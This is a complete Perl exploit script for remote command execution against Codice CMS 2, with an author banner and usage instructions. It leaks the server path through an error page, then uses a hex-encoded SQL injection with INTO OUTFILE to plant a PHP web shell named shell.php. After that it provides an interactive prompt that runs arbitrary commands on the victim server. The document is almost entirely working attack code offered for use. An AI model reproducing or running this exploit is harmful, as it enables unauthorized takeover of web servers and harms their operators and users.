#--+++===========================================================+++--
#--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--
#--+++===========================================================+++--
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
sub banner
{
print "--+++===========================================================+++--\n".
"--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--\n".
"--+++===========================================================+++--\n\n";
}
sub usage
{
die "\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://freefr.dl.sourceforge.net/sourceforge/codice/codice-dev-prev.zip".
"\n[+] Usage : perl $0 <hostname> <path>".
"\n[+] Ex. : perl $0 localhost /codiceCMS".
"\n[+] 22-03-2009 Gigi D'Agostino allo Chalet, parco del Valentino, Torino!!".
"\n\n";
}
sub dec2hex
{
my $num = $_ [0];
my $hex = sprintf ("%x", $num);
return $hex;
}
sub hex_format
{
my $i = 0;
my $hex;
my @string = split '', $_ [0];
while ($i < scalar (@string))
{
$hex .= "%" . dec2hex (ord ($string [$i]));
$i++;
}
return $hex;
}
sub get_script_path
{
my ($hostname, $path) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
) or usage;
my $get = "GET ${path}/index.php?id HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $get;
my $src_path;
while (<$sock>)
{
$src_path = $1 if ($_ =~ /resource in <b>(.+?)<\/b>/);
}
close ($sock);
return ($src_path) ? $src_path : 0;
}
sub create_shell
{
my ($hostname, $path, $query) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
) or usage;
my $get = "GET ${path}/index.php?tag=${query} HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $get;
close ($sock);
}
banner ();
my ($hostname, $path) = @ARGV;
usage unless ($path);
my $shell_path = get_script_path ($hostname, $path);
$shell_path =~ s/index\.php$/shell\.php/;
my $query = 'x %\' UNION SELECT 1, \'<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>\', 3, 4, 5, 6, 7 INTO OUTFILE \''.$shell_path.'\' FROM cod_codice--';
$query = hex_format ($query);
create_shell ($hostname, $path, $query);
print "Remember to delete 'shell.php' before exit!\n";
while (1)
{
print "nobody\@${hostname} > ";
my $cmd = <STDIN>;
chomp $cmd;
die ("Good bye!\n") if $cmd =~ /^quit$/;
$cmd = hex_format ($cmd);
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
);
my $req = "GET ${path}/shell.php?cmd=${cmd} HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $req;
my $k;
while (<$sock>)
{
chomp $_;
$_ .= "newline";
$k .= $_;
}
$k =~ s/^.+1\t//;
$k =~ s/\t3.+$//;
$k = join ("\n", split ("newline", $k));
print $k . "\n";
close ($sock);
}
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